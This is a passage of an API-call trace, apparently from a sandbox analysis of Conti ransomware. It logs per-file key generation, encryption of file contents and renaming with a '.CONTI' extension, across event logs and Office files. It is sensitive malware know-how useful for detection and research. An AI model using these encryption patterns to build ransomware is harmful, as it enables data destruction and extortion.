	[0093.732] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.732] WriteFile (in: hFile=0x34c, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x10a0, lpOverlapped=0x0) returned 1
	[0093.732] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.732] WriteFile (in: hFile=0x34c, lpBuffer=0x17c57d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17c57d0*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0093.732] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.732] CloseHandle (hObject=0x34c) returned 1
	[0093.732] GetProcessHeap () returned 0x1720000
	[0093.733] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.733] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1038\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned="C:\\588bce7c90097ed212\\1038\\eula.rtf"
	[0093.733] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1038\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1038\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1038\\eula.rtf.CONTI"
	[0093.733] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.conti")) returned 1
	[0093.733] GetProcessHeap () returned 0x1720000
	[0093.733] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.733] CryptDestroyKey (hKey=0x175e4f0) returned 1
	[0093.733] GetProcessHeap () returned 0x1720000
	[0093.733] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d378 | out: hHeap=0x1720000) returned 1
	[0093.733] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0094.130] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17d3440 | out: phKey=0x17d3440*=0x175e4b0) returned 1
	[0094.130] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3444, pdwDataLen=0x59bf7d4 | out: pbData=0x17d3444*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0094.139] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80
	[0094.139] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.139] GetLastError () returned 0x0
	[0094.139] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=1150) returned 1
	[0094.139] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x47e
	[0094.139] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.139] SetEndOfFile (hFile=0x34c) returned 1
	[0094.140] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.140] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.140] WriteFile (in: hFile=0x34c, lpBuffer=0x17d3444*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17d3444*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0094.142] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.142] ReadFile (in: hFile=0x34c, lpBuffer=0x11200000, nNumberOfBytesToRead=0x47e, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x47e, lpOverlapped=0x0) returned 1
	[0094.142] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x47e, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x480) returned 1
	[0094.142] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.142] WriteFile (in: hFile=0x34c, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x480, lpOverlapped=0x0) returned 1
	[0094.142] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.142] WriteFile (in: hFile=0x34c, lpBuffer=0x17d3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17d3438*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0094.142] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.142] CloseHandle (hObject=0x34c) returned 1
	[0094.143] GetProcessHeap () returned 0x1720000
	[0094.143] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.144] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Graphics\\Print.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Print.ico"
	[0094.144] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\Print.ico", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Print.ico.CONTI") returned="C:\\588bce7c90097ed212\\Graphics\\Print.ico.CONTI"
	[0094.144] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.CONTI" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.conti")) returned 1
	[0094.144] GetProcessHeap () returned 0x1720000
	[0094.144] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.144] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0094.144] GetProcessHeap () returned 0x1720000
	[0094.144] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1726e10 | out: hHeap=0x1720000) returned 1
	[0094.144] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0095.291] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17d2690 | out: phKey=0x17d2690*=0x17c7ef0) returned 1
	[0095.291] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2694, pdwDataLen=0x59bf7d4 | out: pbData=0x17d2694*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0095.292] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20
	[0096.826] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0096.826] GetLastError () returned 0x0
	[0096.826] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=69632) returned 1
	[0096.826] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.826] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.826] SetEndOfFile (hFile=0x39c) returned 1
	[0096.826] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.826] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.826] WriteFile (in: hFile=0x39c, lpBuffer=0x17d2694*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17d2694*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.827] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.827] ReadFile (in: hFile=0x39c, lpBuffer=0x11200000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x11000, lpOverlapped=0x0) returned 1
	[0096.869] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x11000, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x11010) returned 1
	[0096.870] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.870] WriteFile (in: hFile=0x39c, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x11010, lpOverlapped=0x0) returned 1
	[0096.870] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.870] WriteFile (in: hFile=0x39c, lpBuffer=0x17d2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17d2688*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0096.870] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.870] CloseHandle (hObject=0x39c) returned 1
	[0096.942] GetProcessHeap () returned 0x1720000
	[0096.942] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6510048
	[0096.943] lstrcpyW (in: lpString1=0x6510048, lpString2="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx"
	[0096.943] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.CONTI"
	[0096.943] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.conti")) returned 1
	[0096.943] GetProcessHeap () returned 0x1720000
	[0096.943] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510048 | out: hHeap=0x1720000) returned 1
	[0096.943] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0096.944] GetProcessHeap () returned 0x1720000
	[0096.944] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7248 | out: hHeap=0x1720000) returned 1
	[0096.944] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0097.654] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17e6ff0 | out: phKey=0x17e6ff0*=0x17c8070) returned 1
	[0097.654] CryptExportKey (in: hKey=0x17c8070, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e6ff4, pdwDataLen=0x59bf7d4 | out: pbData=0x17e6ff4*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0097.660] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20
	[0097.661] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0097.661] GetLastError () returned 0x0
	[0097.661] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=1118208) returned 1
	[0097.661] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x111000
	[0097.661] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.661] SetEndOfFile (hFile=0x35c) returned 1
	[0097.661] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.661] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.661] WriteFile (in: hFile=0x35c, lpBuffer=0x17e6ff4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17e6ff4*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0097.663] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.663] ReadFile (in: hFile=0x35c, lpBuffer=0x11200000, nNumberOfBytesToRead=0x111000, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x111000, lpOverlapped=0x0) returned 1
	[0097.682] CryptEncrypt (in: hKey=0x17c8070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x111000, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x111010) returned 1
	[0097.684] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.684] WriteFile (in: hFile=0x35c, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x111010, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x111010, lpOverlapped=0x0) returned 1
	[0097.686] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.686] WriteFile (in: hFile=0x35c, lpBuffer=0x17e6fe8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17e6fe8*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0097.686] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.686] CloseHandle (hObject=0x35c) returned 1
	[0097.703] GetProcessHeap () returned 0x1720000
	[0097.703] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0098.109] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\System.evtx" | out: lpString1="C:\\Logs\\System.evtx") returned="C:\\Logs\\System.evtx"
	[0098.109] lstrcatW (in: lpString1="C:\\Logs\\System.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\System.evtx.CONTI") returned="C:\\Logs\\System.evtx.CONTI"
	[0098.109] MoveFileW (lpExistingFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), lpNewFileName="C:\\Logs\\System.evtx.CONTI" (normalized: "c:\\logs\\system.evtx.conti")) returned 1
	[0098.226] GetProcessHeap () returned 0x1720000
	[0098.232] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0098.238] CryptDestroyKey (hKey=0x17c8070) returned 1
	[0098.238] GetProcessHeap () returned 0x1720000
	[0098.238] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741ed8 | out: hHeap=0x1720000) returned 1
	[0098.252] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0098.878] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17e7480 | out: phKey=0x17e7480*=0x17c8430) returned 1
	[0098.922] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e7484, pdwDataLen=0x59bf7d4 | out: pbData=0x17e7484*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0098.923] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml")) returned 0x20
	[0098.925] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0098.925] GetLastError () returned 0x0
	[0098.925] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=22095) returned 1
	[0098.925] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x564f
	[0098.925] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.925] SetEndOfFile (hFile=0x378) returned 1
	[0098.925] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.925] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.925] WriteFile (in: hFile=0x378, lpBuffer=0x17e7484*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17e7484*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0098.933] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.933] ReadFile (in: hFile=0x378, lpBuffer=0x11200000, nNumberOfBytesToRead=0x564f, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x564f, lpOverlapped=0x0) returned 1
	[0098.934] CryptEncrypt (in: hKey=0x17c8430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x564f, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x5650) returned 1
	[0098.934] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.934] WriteFile (in: hFile=0x378, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x5650, lpOverlapped=0x0) returned 1
	[0098.935] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.935] WriteFile (in: hFile=0x378, lpBuffer=0x17e7478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17e7478*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0098.935] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.935] CloseHandle (hObject=0x378) returned 1
	[0098.936] GetProcessHeap () returned 0x1720000
	[0098.936] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0098.936] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml"
	[0098.936] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.CONTI"
	[0098.936] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml.conti")) returned 1
	[0098.936] GetProcessHeap () returned 0x1720000
	[0098.936] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0098.936] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0098.937] GetProcessHeap () returned 0x1720000
	[0098.937] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3770 | out: hHeap=0x1720000) returned 1
	[0098.937] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0098.937] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17d41f0 | out: phKey=0x17d41f0*=0x17c8570) returned 1
	[0098.937] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d41f4, pdwDataLen=0x59bf7d4 | out: pbData=0x17d41f4*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0098.939] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat")) returned 0x80
